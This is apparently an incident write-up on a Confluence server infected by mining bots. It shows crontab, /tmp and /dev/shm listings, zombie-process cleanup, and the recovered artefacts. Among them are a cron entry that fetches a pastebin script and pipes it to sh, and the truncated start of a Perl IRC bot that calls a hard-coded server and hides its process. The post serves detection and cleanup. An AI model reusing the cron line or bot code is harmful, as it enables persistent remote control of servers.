We'll post findings from an infected confluence-systems we investigated recently, to show how it looks/feel like. The most systems we took a look at were infected with mining-bots like kerberods.
With the rise of inexpensive Virtual Servers and popular services that install insecurely by default, coupled with some juicy vulnerabilities (read: RCE - Remote Code Execution), like CVE-2015-5377 and CVE-2015-1427, this year will be an interesting one for Elasticsearch. Elasticsearch provides plenty of targets for people to exploit and create server-based botnets but in fairness it is not only Elasticsearch that suffers from critical vulnerabilities there is also ShellShock, mongodb-exploits and very recently a bug that hit WebSphere, JBoss, Jenkins and OpenNMS.
- Check crontab entries
ls -lrth /var/spool/cron/crontabs - Check temp dir
ls -la /tmp - Check shm dir
ls -la /dev/shm - Check your dirs inside opt
ls -la /opt/ - Check zombie processes
ps -ef
- Update your system/softwares
- Set right permissions to your user
/var/spool/cron/crontabs # ls -lrth
total 4.0K
-rw------- 1 root netdev 285 Apr 15 15:34 tmp.Rj8JOI
-rw-r--r-- 1 root netdev 0 Apr 16 12:42 root# cat tmp.Rj8JOI
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (- installed on Mon Apr 15 17:34:25 2019)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
*/10 * * * * (curl -fsSL https://pastebin.com/raw/404NoMore||wget -q -O- https://pastebin.com/raw/404NoMore)|sh
- See below for the lok_bot
- At least you get an infection-date
# ls -la /tmp
total 1460
drwxrwxrwt 1 root root 4096 Apr 29 08:05 .
drwxr-xr-x 1 root ro 4096 May 10 2018 ..
-rw-r--r-- 1 usr1 usr1 0 Apr 27 14:17 .354da7
-rw-r--r-- 1 usr1 usr1 5 Apr 22 06:23 .XIMunix
drwxr-xr-x 2 usr1 usr1 4096 Apr 19 17:45 .dba <-- Bot
drwxrwx--- 2 usr1 usr1 4096 Apr 27 21:42 .sysinfo <-- Bot
drwxr-xr-x 2 usr1 usr1 4096 Mar 13 08:41 hsperfdata_usr1
drwxr-xr-x 2 root root 4096 Oct 7 2016 hsperfdata_root
-rwx------ 1 usr1 usr1 480296 Apr 27 21:42 ib_cm
-rwx------ 1 usr1 usr1 480296 Apr 27 21:42 kworker_0:2
-rwx------ 1 usr1 usr1 473096 Apr 22 18:30 kworker_1:1
-rw-r--r-- 1 usr1 usr1 0 Apr 19 18:04 lok <-- Bot
-rw-r--r-- 1 usr1 usr1 12 Apr 27 20:33 tmp1 <-- Bot
-rw-r--r-- 1 usr1 usr1 0 Apr 21 18:25 .changgggeerror <--Bot
drwxr-xr-x 2 usr1 usr1 4096 Apr 27 15:18 .dba <-- Bot
-rw-r--r-- 1 usr1 usr1 0 Apr 29 06:38 .dbb <-- Bot
-rw-r--r-- 1 usr1 usr1 290 Apr 17 06:57 04dlOCl <-- Bot
-rwxr-xr-x 1 usr1 usr1 1099016 Apr 29 06:38 jGcLFA1 <-- Bot
drwxr-xr-x 2 usr1 usr1 4096 Apr 19 12:47 khugepageds <-- Bot
-rw-r--r-- 1 usr1 usr1 290 Apr 23 00:22 lIFa09m <-- Bot
-rw-r--r-- 1 usr1 usr1 160 Apr 14 11:26 lLNCeDg <-- Bot
-rw-r--r-- 1 usr1 usr1 290 Apr 15 00:37 lMBH5ME <-- Bot
--- 400 lines deleted ----- See below for the bot
- At least you get an infection-date
# ls -la /dev/shm
total 8
drwxrwxrwt 2 root root 60 Apr 18 17:53 .
drwxr-xr-x 5 root root 340 Oct 10 2018 ..
-rw-r--r-- 1 daemon daemon 7141 Apr 18 16:33 bt1.txt
-rwxrwxrwx 1 daemon daemon 621K Mar 18 06:51 1mm6dgJ <-- maybe?
-rw-r--r-- 1 daemon daemon 0 Apr 12 07:48 ec2a6 <-- ???
-rw-r--r-- 1 daemon daemon 0 Apr 12 07:48 de33f4f911f20761 <-- ???
-rw-r--r-- 1 daemon daemon 290 Apr 14 01:12 L2AJgih <-- exploit
-rw-r--r-- 1 daemon daemon 160 Apr 14 01:12 77Ink36 <-- exploit
-rw-r--r-- 1 daemon daemon 290 Apr 14 01:15 H4m361b <-- exploit
-rw-r--r-- 1 daemon daemon 160 Apr 14 01:15 1Gn6il2 <-- exploit
-rw-r--r-- 1 daemon daemon 290 Apr 14 01:29 JnImMDp <-- exploit
-rw-r--r-- 1 daemon daemon 160 Apr 14 01:29 8N128a8 <-- exploit
-rw-r--r-- 1 daemon daemon 290 Apr 14 01:50 1bI0A61 <-- exploit
-rw-r--r-- 1 daemon daemon 160 Apr 14 01:50 Jb2jHPC <-- exploit
-rw-r--r-- 1 daemon daemon 290 Apr 14 02:03 aEEC4K5 <-- exploit To kill a zombie (process) you have to kill its parent process (just like real zombies!), but the question was how to find it.
- Find the zombie
# ps aux | grep 'Z'- What you get is Zombies and anything else with a Z in it, so you will also get the grep
# ps aux | grep 'Z'
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
usr1 13572 0.0 0.0 7628 992 pts/2 S+ 19:40 0:00 grep --color=auto Z
usr1 93572 0.0 0.0 0 0 ?? Z 19:40 0:00 something
- Find the zombie's parent
# pstree -p -s 93572
init(1)---cnid_metad(1311)---cnid_dbd(5145)In this case you do not want to kill that parent process and you should be quite happy with one zombie, but killing the immediate parent process 5145 should get rid of it.
# ps -ef
UID PID PPID C STIME TTY TIME CMD
usr1 1 0 1 Mar13 ? 12:56:36 /usr/bin/java -Djava.util.logging.config.file=/opt/atlassian/confluence/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Xms1024m -Xmx8192m -XX:MaxPermSize=512m -XX:+UseG1GC -Djava.awt.headless=true -Xloggc:/opt/atlassian/confluence/logs/gc-2019-03-13_08-41-53.log -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=5 -XX:GCLogFileSize=2M -XX:-PrintGCDetails -XX:+PrintGCTimeStamps -XX:-PrintTenuringDistribution -Djava.endorsed.dirs=/opt/atlassian/confluence/endorsed -classpath /opt/atlassian/confluence/bin/bootstrap.jar:/opt/atlassian/confluence/bin/tomcat-juli.jar -Dcatalina.base=/opt/atlassian/confluence -Dcatalina.home=/opt/atlassian/confluence -Djava.io.tmpdir=/opt/atlassian/confluence/temp org.apache.catalina.startup.Bootstrap start
usr1 336 1 0 Apr19 ? 00:00:00 [kill] <defunct>
usr1 339 1 0 Apr21 ? 00:00:00 [kill] <defunct>
usr1 354 1 0 Apr19 ? 00:00:00 [kill] <defunct>
usr1 361 1 0 Apr17 ? 00:00:00 [kill] <defunct>
usr1 858 1 0 Apr22 ? 00:00:00 [kill] <defunct>
usr1 903 1 0 Apr21 ? 00:00:00 [kill] <defunct>
usr1 960 1 0 Apr20 ? 00:00:00 [kill] <defunct>
usr1 1015 1 0 Apr17 ? 00:00:00 [sh] <defunct>
usr1 1072 1 0 Apr20 ? 00:00:00 [kill] <defunct>
usr1 1086 1 0 Apr21 ? 00:00:00 [kill] <defunct>
usr1 1131 1 0 Apr20 ? 00:00:00 [kill] <defunct>
usr1 1274 1 0 Apr20 ? 00:00:00 [kill] <defunct>
usr1 1339 1 0 Apr21 ? 00:00:00 [sh] <defunct>
usr1 1341 1 0 Apr19 ? 00:00:00 [kill] <defunct>
usr1 1350 1 0 Apr21 ? 00:00:00 [sh] <defunct>
usr1 1395 1 0 Apr21 ? 00:00:00 [sh] <defunct>
usr1 1422 1 0 Apr21 ? 00:00:00 [sh] <defunct>
usr1 1434 1 0 Apr21 ? 00:00:00 [sh] <defunct>
usr1 1458 1 0 Apr21 ? 00:00:00 [kill] <defunct>
usr1 1523 1 0 Apr21 ? 00:00:00 [sh] <defunct>
usr1 1559 1 0 Apr21 ? 00:00:00 [sh] <defunct>
usr1 1614 1 0 Apr21 ? 00:00:00 [kill] <defunct>
usr1 1664 1 0 Apr21 ? 00:00:00 [sh] <defunct>
usr1 1726 1 0 Apr20 ? 00:00:00 [sh] <defunct>
usr1 1727 1 0 Apr20 ? 00:00:00 [sh] <defunct>
usr1 1748 1 0 Apr17 ? 00:00:00 [kill] <defunct>cat /dev/shm/bt1.txt
#!/usr/bin/perl
my $processo =("test123");
my @titi = ("index.php?page=","main.php?page=");
my $goni = $titi[rand scalar @titi];
my $linas_max='3';
my $sleep='7';
my @adms=("x", "y", "z", "w" );
my @hostauth=("local");
my @canais=("#3w");
chop (my $nick = `uname`);
my $servidor="193.56.28.207";
my $ircname =("g");
my $realname = ("g");
my @ircport = ("80","143");
my $porta = $ircport[rand scalar @ircport];
my $VERSAO = '0.5';
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir("/tmp");
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);
our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_cliente = IO::Select->new();
sub sendraw {
if ($#_ == '1') {
my $socket = $_[0];
print $socket "$_[1]
--- others lines deleted ----